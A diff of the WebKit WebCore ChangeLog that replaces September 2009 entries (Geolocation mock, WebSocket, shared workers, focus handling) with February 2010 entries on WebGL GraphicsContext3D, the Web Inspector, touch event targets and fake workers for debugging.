+        (WebCore::GraphicsContext3D::getFloatv):
         (WebCore::GraphicsContext3D::getFramebufferAttachmentParameteriv):
-        (WebCore::GraphicsContext3D::getProgrami):
+        (WebCore::GraphicsContext3D::getIntegerv):
         (WebCore::GraphicsContext3D::getProgramiv):
-        (WebCore::GraphicsContext3D::getRenderbufferParameteri):
+        (WebCore::GraphicsContext3D::getProgramInfoLog):
         (WebCore::GraphicsContext3D::getRenderbufferParameteriv):
-        (WebCore::GraphicsContext3D::getShaderi):
         (WebCore::GraphicsContext3D::getShaderiv):
-        (WebCore::GraphicsContext3D::getTexParameterf):
+        (WebCore::GraphicsContext3D::getShaderInfoLog):
+        (WebCore::GraphicsContext3D::getShaderSource):
         (WebCore::GraphicsContext3D::getTexParameterfv):
-        (WebCore::GraphicsContext3D::getTexParameteri):
         (WebCore::GraphicsContext3D::getTexParameteriv):
-        (WebCore::GraphicsContext3D::getUniformf):
         (WebCore::GraphicsContext3D::getUniformfv):
-        (WebCore::GraphicsContext3D::getUniformi):
         (WebCore::GraphicsContext3D::getUniformiv):
-        (WebCore::GraphicsContext3D::getVertexAttribf):
+        (WebCore::GraphicsContext3D::getUniformLocation):
         (WebCore::GraphicsContext3D::getVertexAttribfv):
-        (WebCore::GraphicsContext3D::getVertexAttribi):
         (WebCore::GraphicsContext3D::getVertexAttribiv):
         (WebCore::GraphicsContext3D::getVertexAttribOffset):
         (WebCore::GraphicsContext3D::texImage2D):
         (WebCore::GraphicsContext3D::texSubImage2D):
+        (WebCore::GraphicsContext3D::createBuffer):
+        (WebCore::GraphicsContext3D::createFramebuffer):
+        (WebCore::GraphicsContext3D::createProgram):
+        (WebCore::GraphicsContext3D::createRenderbuffer):
+        (WebCore::GraphicsContext3D::createShader):
+        (WebCore::GraphicsContext3D::createTexture):
+        (WebCore::GraphicsContext3D::deleteBuffer):
+        (WebCore::GraphicsContext3D::deleteFramebuffer):
+        (WebCore::GraphicsContext3D::deleteProgram):
+        (WebCore::GraphicsContext3D::deleteRenderbuffer):
+        (WebCore::GraphicsContext3D::deleteShader):
+        (WebCore::GraphicsContext3D::deleteTexture):
         (WebCore::GraphicsContext3D::sizeInBytes):
+        (WebCore::GraphicsContext3D::synthesizeGLError):
+        (WebCore::GraphicsContext3D::getImageData):
 
-2009-09-08  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+2010-02-25  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Make m_windowVisible more consistent with the actual visibility of the inspector.
-
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::setWindowVisible):
-
-2009-09-07  Adam Barth  <abarth@webkit.org>
-
-        Unreviewed speculative build fix for Snow Leopard.
-
-        * platform/GeolocationService.cpp:
-        (WebCore::createGeolocationServiceNull):
-
-2009-09-07  Steve Block  <steveblock@google.com>
-
-        Reviewed by Adam Barth.
-
-        Adds a mock Geolocation service. This will be used to provide predictable behavior of the
-        Geolocation API for use in LayoutTests. Later changes will integrate the the mock
-        Geolocation service with DumpRenderTree.
-        https://bugs.webkit.org/show_bug.cgi?id=28264
-
-        The mock Geolocation service returns a fixed position or error. This position or error can be
-        set through static methods on the GeolocationService class. The position or error is shared
-        between all instances of the mock Geolocation service.
-
-        Implementation details.
-        The GeolocationService object maintains a pointer to a factory function which it uses to create
-        Geolocation service instances. Each platform implementing Geolocation sets this pointer
-        to the factory function for their platform's implementation. When the mock Geolocation service
-        is activated, the factory function pointer is reset to the factory function for the mock service.
-
-        Test: fast/dom/Geolocation/error.html
-
-        * WebCore.base.exp: Modified. Exports GeolocationServiceMock methods.
-        * GNUMakefile.am: Modified. Added GeolocationServiceMock files.
-        * WebCore.gypi: Modified. Added GeolocationServiceMock files.
-        * WebCore.pro: Modified. Added GeolocationServiceMock files.
-        * WebCore.vcproj/WebCore.vcproj: Modified. Added GeolocationServiceMock files.
-        * WebCore.vcproj/WebCoreCommon.vsprops: Modified. Added mock directory to includes.
-        * WebCore.xcodeproj/project.pbxproj: Modified. Added GeolocationServiceMock files and exports some headers.
-        * WebCoreSources.bkl: Modified. Added GeolocationServiceMock files.
-        * page/ChromeClient.h: Modified. Fixed comment.
-        * page/Geolocation.cpp: Modified.
-        (WebCore::Geolocation::setIsAllowed): Modified. Fixed error string.
-        * platform/GeolocationService.cpp: Modified.
-        (WebCore::createGeolocationServiceNull): Added. Returns null in place of a Geolocation service. Used to avoid link errors on platforms where Geolocation is not implemented.
-        (WebCore::GeolocationService::create): Added. Uses the factory function pointer to create a Geolocation service implementation.
-        (WebCore::GeolocationService::useMock): Added. Configures the GeolocationServie to use the mock implementation.
-        * platform/GeolocationService.h: Modified.
-        * platform/mock: Added.
-        * platform/mock/GeolocationServiceMock.cpp: Added.
-        (WebCore::GeolocationServiceMock::create): Added. Creates a GeolocationServiceMock object.
-        (WebCore::GeolocationServiceMock::GeolocationServiceMock): Added. Constructor.
-        (WebCore::GeolocationServiceMock::~GeolocationServiceMock): Added. Destructor.
-        (WebCore::GeolocationServiceMock::setPosition): Added. Sets the position that will be returned by the object.
-        (WebCore::GeolocationServiceMock::setError): Added. Sets the error that will be returned by the object.
-        (WebCore::GeolocationServiceMock::startUpdating): Added. GeolocationService implementation. Starts the service.
-        (WebCore::GeolocationServiceMock::stopUpdating): Added. GeolocationService implementation. Stops the service.
-        (WebCore::GeolocationServiceMock::timerFired): Added. Used to provide an asynchronous callback when the service is started.
-        (WebCore::GeolocationServiceMock::makeGeolocationCallbackFromAllInstances): Added. Used to call back when the position or error is updated.
-        (WebCore::GeolocationServiceMock::makeGeolocationCallback): Added. Used to call back when the service starts.
-        (WebCore::GeolocationServiceMock::initStatics): Added. Initializes statics members with constructors.
-        (WebCore::GeolocationServiceMock::cleanUpStatics): Added. Cleans up static members with constructors.
-        * platform/mock/GeolocationServiceMock.h: Added.
-        (WebCore::GeolocationServiceMock::lastPosition): Added. Returns the fixed position.
-        (WebCore::GeolocationServiceMock::lastError): Added. Returns the fixed error.
-        * platform/gtk/GeolocationServiceGtk.cpp: Modified.
-        (WebCore::GeolocationServiceGtk::create): Added. Creates an instance of GeolocationServiceGtk.
-        * platform/gtk/GeolocationServiceGtk.h: Modified.
-        * platform/mac/GeolocationServiceMac.h: Modified.
-        * platform/mac/GeolocationServiceMac.mm: Modified.
-        (WebCore::GeolocationServiceMac::create): Added. Creates an instance of GeolocationServiceMac.
-
-2009-09-07  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28985
-
-        We need to be slightly more careful about how we pick up a script
-        execution context.  In particular, we were getting the wrong document
-        for frames that had been navigated somewhere else.
-
-        In the long term, we should think about a better algorithm for
-        computing the script context.
-
-        Fixes LayoutTests/http/tests/xmlhttprequest/detaching-frame-2.html
-
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::retrieveFrame):
-
-2009-09-07  Kevin Ollivier  <kevino@theolliviers.com>
-
-        wx build fix for 2.8 compilation.
-
-        * platform/wx/wxcode/mac/carbon/scrollbar_render.cpp:
-        (wxRenderer_DrawScrollbar):
-
-2009-09-07  Drew Wilson  <atwilson@google.com>
-
-        Unreviewed build fix.
-
-        Reverting r48121 to fix Windows build errors.
-
-        * DerivedSources.cpp:
-        * GNUmakefile.am:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS):
-        (WebCore::toEventTarget):
-        * dom/EventTarget.cpp:
-        * dom/EventTarget.h:
-        * page/DOMWindow.idl:
-        * websockets/WebSocket.cpp:
-        (WebCore::WebSocket::connect):
-        (WebCore::WebSocket::send):
-        (WebCore::WebSocket::close):
-        (WebCore::WebSocket::bufferedAmount):
-        (WebCore::WebSocket::addEventListener):
-        (WebCore::WebSocket::removeEventListener):
-        (WebCore::WebSocket::dispatchEvent):
-        (WebCore::WebSocket::didConnect):
-        (WebCore::WebSocket::didReceiveMessage):
-        (WebCore::WebSocket::didClose):
-        (WebCore::WebSocket::dispatchOpenEvent):
-        (WebCore::WebSocket::dispatchMessageEvent):
-        (WebCore::WebSocket::dispatchCloseEvent):
-        * websockets/WebSocket.h:
-        (WebCore::WebSocket::create):
-        (WebCore::WebSocket::):
-        (WebCore::WebSocket::setOnopen):
-        (WebCore::WebSocket::onopen):
-        (WebCore::WebSocket::setOnmessage):
-        (WebCore::WebSocket::onmessage):
-        (WebCore::WebSocket::setOnclose):
-        (WebCore::WebSocket::onclose):
-        (WebCore::WebSocket::toWebSocket):
-        (WebCore::WebSocket::refEventTarget):
-        (WebCore::WebSocket::derefEventTarget):
-        * websockets/WebSocketChannel.cpp: Removed.
-        * websockets/WebSocketChannel.h: Removed.
-        * websockets/WebSocketChannelClient.h: Removed.
-        * websockets/WebSocketHandshake.cpp: Removed.
-        * websockets/WebSocketHandshake.h: Removed.
-
-2009-09-07  Drew Wilson  <atwilson@google.com>
-
-        Unreviewed speculative build fix.
-
-        Reverted previous build fix as it didn't fix the problem.
-
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toEventTarget):
-
-2009-09-07  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
-
-        Unreviewed, build fix.
-
-        [Qt] Fix build after SHARED_WORKERS are enabled by default (r48131)
-
-        * WebCore.pro:
-
-2009-09-07  Drew Wilson  <atwilson@google.com>
-
-        Unreviewed build fix.
-
-        Temporarily removed depenency between JSEventTarget.cpp and WebSocket.h in an attempt to fix a windows build break.
+        Web Inspector: Swap images for activate and deactivate breakpoints.
 
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toEventTarget):
+        https://bugs.webkit.org/show_bug.cgi?id=35383
 
-2009-09-07  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        Enable SHARED_WORKERS by default.
-        https://bugs.webkit.org/show_bug.cgi?id=28959
-
-        Tests (enabled in a separate patch):
-               fast/workers/shared-worker-constructor.html
-               fast/workers/shared-worker-context-gc.html
-               fast/workers/shared-worker-event-listener.html
-               fast/workers/shared-worker-exception.html
-               fast/workers/shared-worker-frame-lifecycle.html
-               fast/workers/shared-worker-gc.html
-               fast/workers/shared-worker-lifecycle.html
-               fast/workers/shared-worker-load-error.html
-               fast/workers/shared-worker-location.html
-               fast/workers/shared-worker-navigator.html
-               fast/workers/shared-worker-replace-global-constructor.html
-               fast/workers/shared-worker-replace-self.html
-               fast/workers/shared-worker-shared.html
-               fast/workers/shared-worker-simple.html
-               http/tests/workers/shared-worker-importScripts.html
-               http/tests/workers/shared-worker-redirect.html
-               http/tests/xmlhttprequest/workers/shared-worker-close.html
-               http/tests/xmlhttprequest/workers/shared-worker-methods-async.html
-               http/tests/xmlhttprequest/workers/shared-worker-methods.html
-               http/tests/xmlhttprequest/workers/shared-worker-xhr-file-not-found.html
-
-        * config.h: Removed some whitespace/touched the file to force a full rebuild on the build-bots.
-        * Configurations/FeatureDefines.xcconfig:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCoreCommon.vsprops:
-        * WebCore.vcproj/build-generated-files.sh:
-        * dom/DOMWindow.idl: Removed unnecessary whitespace to force a rebuild on the build-bots to pickup the flag change.
-        * workers/DefaultSharedWorkerRepository.cpp:
-        (WebCore::SharedWorkerScriptLoader::load):
-        Clean up bitrot in SharedWorker code - DenyCrossOriginRedirect is now DenyCrossOriginRequests.
-        * workers/SharedWorkerContext.cpp:
-        (WebCore::SharedWorkerContext::dispatchConnect):
-        Clean up bitrot - updated SharedWorker code to reflect new MessageEvent API.
-
-2009-09-07  Xan Lopez  <xlopez@igalia.com>
-
-        Unreviewed build fix.
-
-        Add new file to sources list.
-
-        * GNUmakefile.am:
-
-2009-09-07  Kevin Ollivier  <kevino@theolliviers.com>
-
-        wx build fixes for wx SVN trunk. 
-
-        * config.h:
-        * platform/wx/RenderThemeWx.cpp:
-        (WebCore::RenderThemeWx::paintButton):
-        * platform/wx/wxcode/mac/carbon/non-kerned-drawing.cpp:
-        (WebCore::drawTextWithSpacing):
-        * platform/wx/wxcode/mac/carbon/scrollbar_render.cpp:
-        (wxRenderer_DrawScrollbar):
-
-2009-09-07  Chris Hills <chaz@chaz6.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        [Qt] Use direct includes for Phonon, not the pretty ones
-
-        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
-
-2009-09-07  Fumitoshi Ukai  <ukai@chromium.org>
-
-        Reviewed by Alexey Proskuryakov.
-
-        WebSocket API implementation.
-        https://bugs.webkit.org/show_bug.cgi?id=28038
-        
-        Add build systems only for GNUmakefile.am and WebCore.xcodeproj now.
-        Other build systems will be updated once the code is functional.
-        Tests will be landed once the code is completed and functional.
+        * WebCore.gypi:
+        * inspector/front-end/Images/breakpointsActivateButtonGlyph.png: Renamed from WebCore/inspector/front-end/Images/deactivateBreakpointsButtonGlyph.png.
+        * inspector/front-end/Images/breakpointsDeactivateButtonGlyph.png: Renamed from WebCore/inspector/front-end/Images/deactivateBreakpointsDisabledButtonGlyph.png.
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css:
 
-        * DerivedSources.cpp:
-        * GNUmakefile.am:
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::JSDOMWindow::webSocket):
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS):
-        (WebCore::toEventTarget):
-        * dom/EventTarget.cpp:
-        (WebCore::EventTarget::toWebSocket):
-        * dom/EventTarget.h:
-        * page/DOMWindow.idl:
-        * websockets/WebSocket.cpp:
-        (WebCore::ProcessWebSocketEventTask::create):
-        (WebCore::ProcessWebSocketEventTask::performTask):
-        (WebCore::ProcessWebSocketEventTask::ProcessWebSocketEventTask):
-        (WebCore::isValidProtocolString):
-        (WebCore::WebSocket::connect):
-        (WebCore::WebSocket::send):
-        (WebCore::WebSocket::close):
-        (WebCore::WebSocket::bufferedAmount):
-        (WebCore::WebSocket::addEventListener):
-        (WebCore::WebSocket::removeEventListener):
-        (WebCore::WebSocket::dispatchEvent):
-        (WebCore::WebSocket::didConnect):
-        (WebCore::WebSocket::didReceiveMessage):
-        (WebCore::WebSocket::didClose):
-        (WebCore::WebSocket::dispatchOpenEvent):
-        (WebCore::WebSocket::dispatchMessageEvent):
-        (WebCore::WebSocket::dispatchCloseEvent):
-        * websockets/WebSocket.h:
-        (WebCore::WebSocket::create):
-        (WebCore::WebSocket::):
-        (WebCore::WebSocket::setOnopen):
-        (WebCore::WebSocket::onopen):
-        (WebCore::WebSocket::setOnmessage):
-        (WebCore::WebSocket::onmessage):
-        (WebCore::WebSocket::setOnclose):
-        (WebCore::WebSocket::onclose):
-        (WebCore::WebSocket::toWebSocket):
-        (WebCore::WebSocket::eventListeners):
-        (WebCore::WebSocket::refEventTarget):
-        (WebCore::WebSocket::derefEventTarget):
-        * websockets/WebSocketChannel.cpp: Added.
-        * websockets/WebSocketChannel.h: Added.
-        * websockets/WebSocketChannelClient.h: Added.
-        * websockets/WebSocketHandshake.cpp: Added.
-        * websockets/WebSocketHandshake.h: Added.
-
-2009-09-07  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+2010-02-25  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
         Reviewed by Xan Lopez.
 
-        https://bugs.webkit.org/show_bug.cgi?id=26854
-        [GTK] Needs API to allow more control over outgoing requests
-
-        Add infrastructure required to provide the new
-        WebKitNetworkResponse object in our API.
-
-        * GNUmakefile.am: Add new files to the build.
-        * platform/network/soup/ResourceRequestSoup.cpp:
-        (WebCore::ResourceRequest::updateFromSoupMessage):
-        * platform/network/soup/ResourceResponse.h:
-        * platform/network/soup/ResourceResponseSoup.cpp: Added.
-        (WebCore::ResourceResponse::toSoupMessage):
-
-2009-09-07  Mads Ager  <ager@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        [V8] Cleanup document/frame null-checking in V8DOMWindowCustom.cpp
-        https://bugs.webkit.org/show_bug.cgi?id=29009
-
-        Be consistent in document and frame null checks.
-
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::V8Custom::WindowSetTimeoutImpl):
-        (WebCore::ACCESSOR_GETTER):
-        (WebCore::ACCESSOR_SETTER):
-        (WebCore::CALLBACK_FUNC_DECL):
-        (WebCore::NAMED_PROPERTY_GETTER):
-        (WebCore::V8Custom::ClearTimeoutImpl):
-
-2009-09-07  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        [Soup] Limit the number of connections
-        https://bugs.webkit.org/show_bug.cgi?id=18431
-
-        Increase the maximum number of per host and total connections to
-        similar values than those used by the other modern browsers. Seems
-        to significantly improve page loading time in many cases.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::ensureSessionIsInitialized):
-
-2009-09-07  Michael Nordman  <michaeln@google.com>
+        Go back on symlink resolution if we are loading the flash plugin,
+        and the path contains /netscape/, following what Chromium does.
 
-        Reviewed by Darin Fisher.
-
-        Various minor chromium appcache modifications.
-        https://bugs.webkit.org/show_bug.cgi?id=28960
-
-        No new tests.
-
-        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp:
-          Fix a null pointer exception.
-        (WebCore::ACCESSOR_GETTER):
-        * platform/network/chromium/ResourceRequest.h:
-          Switch from appCache 'context' to 'host' terminology.
-          Note: leaving the old deprecated accessors in place until the matching
-          change in chrome is landed to use the new accessors.
-        (WebCore::ResourceRequest::ResourceRequest):
-        (WebCore::ResourceRequest::appCacheHostID):
-        (WebCore::ResourceRequest::setAppCacheHostID):
-        (WebCore::ResourceRequest::appCacheContextID):
-        (WebCore::ResourceRequest::setAppCacheContextID):
-        * platform/network/chromium/ResourceResponse.h:
-          Add an appCacheManifestURL getter/setter.
-          Drop the 'get' prefix from the appCacheID getter.
-          Note: leaving the old deprecated 'get' prefixed accessor in place until the matching
-          change in chrome is landed to use the new accessor.
-        (WebCore::ResourceResponse::appCacheID):
-        (WebCore::ResourceResponse::appCacheManifestURL):
-        (WebCore::ResourceResponse::setAppCacheManifestURL):
-        (WebCore::ResourceResponse::getAppCacheID):
-
-2009-09-07  Michael Nordman  <michaeln@google.com>
-
-        Reviewed by Alexey Proskuryakov.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28359
-        Cleanup: Undo some accidental changes around DOMApplicationCache.
-        - Restore support for constructing a DOMApplicationCache object with a null frame ptr.
-        - Return a non-null object for window.applicationCache when the feature is disabled.
-        - Simplify the swapCache method.
-
-        Test: http/tests/appcache/disabled.html
+        Thanks to Evan Martin for the help on this!
 
-        * loader/appcache/DOMApplicationCache.cpp:
-        (WebCore::DOMApplicationCache::DOMApplicationCache):
-        (WebCore::DOMApplicationCache::swapCache):
-        (WebCore::DOMApplicationCache::scriptExecutionContext):
-        * loader/appcache/DOMApplicationCache.h:
-        * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::applicationCache):
+        * plugins/gtk/PluginPackageGtk.cpp:
+        (WebCore::PluginPackage::load):
 
-2009-09-06  Yael Aharon  <yael.aharon@nokia.com>
+2010-02-25  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Darin Adler.
+        Reviewed by Timothy Hatcher.
 
-        hostname and host are mixed up when manipulating anchor elements.
-        https://bugs.webkit.org/show_bug.cgi?id=28954
+        Web Inspector: Scripts panel shows blank source when stopping on a breakpoint on refresh.
 
-        handle the case of port 0.
+        https://bugs.webkit.org/show_bug.cgi?id=35232
 
-        * html/HTMLAnchorElement.cpp:
-        (WebCore::HTMLAnchorElement::host):
-
-2009-09-06  Erik Arvidsson  <arv@chromium.org>
+        * inspector/front-end/Panel.js:
+        (WebInspector.Panel.prototype.canShowSourceLine):
+        (WebInspector.Panel.prototype.showSourceLine):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.canShowSourceLine):
+        (WebInspector.ResourcesPanel.prototype.showSourceLine):
+        * inspector/front-end/Script.js:
+        (WebInspector.Script):
+        * inspector/front-end/ScriptView.js:
+        (WebInspector.ScriptView.prototype.setupSourceFrameIfNeeded):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.show):
+        (WebInspector.ScriptsPanel.prototype.get searchableViews):
+        (WebInspector.ScriptsPanel.prototype.addScript):
+        (WebInspector.ScriptsPanel.prototype._resourceLoadingFinished):
+        (WebInspector.ScriptsPanel.prototype.addBreakpoint):
+        (WebInspector.ScriptsPanel.prototype.removeBreakpoint):
+        (WebInspector.ScriptsPanel.prototype.reset):
+        (WebInspector.ScriptsPanel.prototype.canShowSourceLine):
+        (WebInspector.ScriptsPanel.prototype.showSourceLine):
+        (WebInspector.ScriptsPanel.prototype._scriptOrResourceForURLAndLine):
+        (WebInspector.ScriptsPanel.prototype.showView):
+        (WebInspector.ScriptsPanel.prototype._sourceFrameForScriptOrResource):
+        (WebInspector.ScriptsPanel.prototype._showScriptOrResource):
+        (WebInspector.ScriptsPanel.prototype._addScriptToFilesMenu.optionCompare):
+        (WebInspector.ScriptsPanel.prototype._addScriptToFilesMenu):
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView.prototype._addBreakpoint):
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentClick.followLink):
+        (WebInspector.documentClick):
+        (WebInspector._choosePanelToShowSourceLine):
+        (WebInspector.canShowSourceLine):
+        (WebInspector.showSourceLine):
 
-        Reviewed by Eric Seidel.
+2010-02-25  Ben Murdoch  <benm@google.com>
 
-        Make hidden elements not focusable.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Clean up supportsFocus and isFocusable.
-        supportsFocus now strictly means that the node can be focused by default.
-        This is true for links, form controls and content editable elements for example.
-        isFocusable means that the user can actually focus it.
-        All (2) calls to supportsFocus have been updated to take this into account.
-        
-        Make a elements without href work correctly as well.
+        The target element of a Touch should be the target where that touch originated, not where it is now.
+        https://bugs.webkit.org/show_bug.cgi?id=34585
 
-        https://bugs.webkit.org/show_bug.cgi?id=27099
+        Currently the target of a touch is set to the resulting node of the hit test where the touch currently
+        is. This does not match the behavior of iPhone or Android. This patch uses a hashmap on the EventHandler
+        to keep track of the target element when a touch is first started. This target is then used as the target
+        for subsequent touches with the same id. This matches observed behavior on iPhone and Android.
 
-        Tests: fast/events/click-focus-anchor.html
-               fast/events/tab-focus-anchor.html
-               fast/events/tab-focus-hidden.html
+        Tests:
+        fast/events/touch/touch-target.html: Added.
+        fast/events/touch/basic-single-touch-events.html: Updated.
 
-        * dom/Element.cpp:
-        (WebCore::Element::focus):
-        * dom/Node.cpp:
-        (WebCore::Node::supportsFocus):
-        (WebCore::Node::isFocusable):
-        * dom/Node.h:
-        * html/HTMLAnchorElement.cpp:
-        (WebCore::HTMLAnchorElement::supportsFocus):
-        (WebCore::HTMLAnchorElement::isMouseFocusable):
-        (WebCore::HTMLAnchorElement::isKeyboardFocusable):
-        * html/HTMLAnchorElement.h:
-        * html/HTMLAreaElement.cpp:
-        (WebCore::HTMLAreaElement::supportsFocus):
-        * html/HTMLAreaElement.h:
-        * html/HTMLElement.cpp:
-        (WebCore::HTMLElement::supportsFocus):
-        * html/HTMLElement.h:
-        * html/HTMLFieldSetElement.cpp:
-        (WebCore::HTMLFieldSetElement::supportsFocus):
-        * html/HTMLFieldSetElement.h:
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLFormControlElement::supportsFocus):
-        (WebCore::HTMLFormControlElement::isFocusable):
-        * html/HTMLFrameElementBase.cpp:
-        (WebCore::HTMLFrameElementBase::supportsFocus):
-        * html/HTMLFrameElementBase.h:
-        * html/HTMLLegendElement.cpp:
-        (WebCore::HTMLLegendElement::supportsFocus):
-        * html/HTMLLegendElement.h:
-        * html/HTMLOptGroupElement.cpp:
-        (WebCore::HTMLOptGroupElement::supportsFocus):
-        (WebCore::HTMLOptGroupElement::isFocusable):
-        * html/HTMLOptGroupElement.h:
-        * html/HTMLOptionElement.cpp:
-        (WebCore::HTMLOptionElement::supportsFocus):
-        (WebCore::HTMLOptionElement::isFocusable):
-        * html/HTMLOptionElement.h:
         * page/EventHandler.cpp:
-        (WebCore::EventHandler::dispatchMouseEvent):
-        * page/FocusController.cpp:
-        (WebCore::FocusController::advanceFocus):
-        * svg/SVGAElement.cpp:
-        (WebCore::SVGAElement::supportsFocus):
-        (WebCore::SVGAElement::isFocusable):
-        * wml/WMLAElement.cpp:
-        (WebCore::WMLAElement::supportsFocus):
-        * wml/WMLAElement.h:
-        * wml/WMLFormControlElement.cpp:
-        (WebCore::WMLFormControlElement::supportsFocus):
-        (WebCore::WMLFormControlElement::isFocusable):
-        * wml/WMLFormControlElement.h:
-
-2009-09-06  Joel Stanley  <joel@jms.id.au>
-
-        Reviewed by Dimitri Glazkov.
-
-        Expose functions to set the caret blink interval for Linux Chromium.
-        Default value is set to that of RenderTheme::caretBlankInterval().
-        Uses caretBlinkIntervalInternal to avoid overriding
-        RenderThemeChromiumSkia::caretBlankInterval to preserve the disabling
-        of blinking caret required for layout tests.
-        https://bugs.webkit.org/show_bug.cgi?id=28931
-
-        * rendering/RenderThemeChromiumLinux.cpp:
-        (WebCore::RenderThemeChromiumLinux::RenderThemeChromiumLinux):
-        (WebCore::RenderThemeChromiumLinux::setCaretBlinkInterval):
-        (WebCore::RenderThemeChromiumLinux::caretBlinkIntervalInternal):
-        * rendering/RenderThemeChromiumLinux.h:
-
-2009-09-06  Ada Chan  <adachan@apple.com>
-
-        Remove an extra </File> in WebCore.vcproj.
-
-        * WebCore.vcproj/WebCore.vcproj:
+        (WebCore::EventHandler::handleTouchEvent): Store the originating target element of a touch in a hashmap
+            so that we can reuse that target for future events caused by that touch. This matches observed behavior
+            on iPhone and Android.
+        * page/EventHandler.h: Add hashmap as a member.
+        * platform/PlatformTouchPoint.h:
+        (WebCore::PlatformTouchPoint::id): Store the touch point id as unsigned.
+        * platform/qt/PlatformTouchPointQt.cpp: 
+        (WebCore::PlatformTouchPoint::PlatformTouchPoint): Cast platform touch id from signed to unsigned. Qt API
+            docs state that it will always be >= 0.
+
+2010-02-24  Antonio Gomes  <tonikitoo@webkit.org>
 
-2009-09-06  Timothy Hatcher  <timothy@apple.com>
-
-        Adds a persistent setting for color format in the Web Inspector.
+        Reviewed by Simon Fraser.
+        Patch by Antonio Gomes <tonikitoo@webkit.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=28889
+        Add a convenient center() method to IntRect
+        https://bugs.webkit.org/show_bug.cgi?id=35346
 
-        Reviewed by Dan Bernstein.
+        As it is a convenience method, and implemention is
+        based on FloatRect's one, patch does not provide a
+        layout test.
 
-        * English.lproj/localizedStrings.js: New strings.
-        * inspector/front-end/Color.js: Minor style fixes.
-        (WebInspector.Color.prototype.toString): Added. Replaces the individual
-        "toFoo" functions. Takes a optional arguments for the color format to return.
-        * inspector/front-end/Images/paneSettingsButtons.png: Added.
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylesSidebarPane.prototype._changeColorFormat): Update the sections to show
-        the new color format.
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processColor.changeColorDisplay):
-        Use the new toString function on Color.
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processColor): Use the persistent setting
-        to format colors by default. Add a tooltip for the color swatch.
-        * inspector/front-end/inspector.css: New styles for the settings menu.
-        * inspector/front-end/inspector.js:
-        (WebInspector.loaded): Initilize the colorFormat preference.
+        * platform/graphics/IntRect.h:
+        (WebCore::IntRect::center):
 
-2009-09-06  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+2010-02-25  Andrey Kosyakov  <caseq@chromium.org>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Pavel Feldman.
 
-        [Qt] Remove Qt v4.6 check from the prefetchDNS implementation
-        https://bugs.webkit.org/show_bug.cgi?id=28993
+        Fake workers implementation that simulates workers using iframe and timer,
+        needed to support workers debugging. Also, a facility to inject scripts into
+        inspected page upon load.
+        https://bugs.webkit.org/show_bug.cgi?id=35148
 
-        * platform/network/qt/DnsPrefetchHelper.cpp:
-        * platform/network/qt/DnsPrefetchHelper.h:
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::addScriptToEvaluateOnLoad):
+        (WebCore::InspectorBackend::removeAllScriptsToEvaluateOnLoad):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::addScriptToEvaluateOnLoad):
+        (WebCore::InspectorController::removeAllScriptsToEvaluateOnLoad):
+        * inspector/InspectorController.h:
+        * inspector/front-end/InjectedFakeWorker.js: Added.
+        (InjectedFakeWorker.Worker):
+        (InjectedFakeWorker.FakeWorker):
+        (InjectedFakeWorker.FakeWorker.prototype.postMessage):
+        (InjectedFakeWorker.FakeWorker.prototype.terminate):
+        (InjectedFakeWorker.FakeWorker.prototype._onmessageWrapper):
+        (InjectedFakeWorker.FakeWorker.prototype._dispatchMessage):
+        (InjectedFakeWorker.FakeWorker.prototype._handleException):
+        (InjectedFakeWorker.FakeWorker.prototype._buildWorker):
+        (InjectedFakeWorker.FakeWorker.prototype._setupWorkerContext.handler):
+        (InjectedFakeWorker.FakeWorker.prototype._setupWorkerContext):
+        (InjectedFakeWorker.FakeWorker.prototype._importScripts):
+        (InjectedFakeWorker.FakeWorker.prototype._loadScript):
+        (InjectedFakeWorker.URL):
+        (InjectedFakeWorker.URL.prototype.urlRegEx.split):
+        (InjectedFakeWorker.URL.prototype.mockLocation):
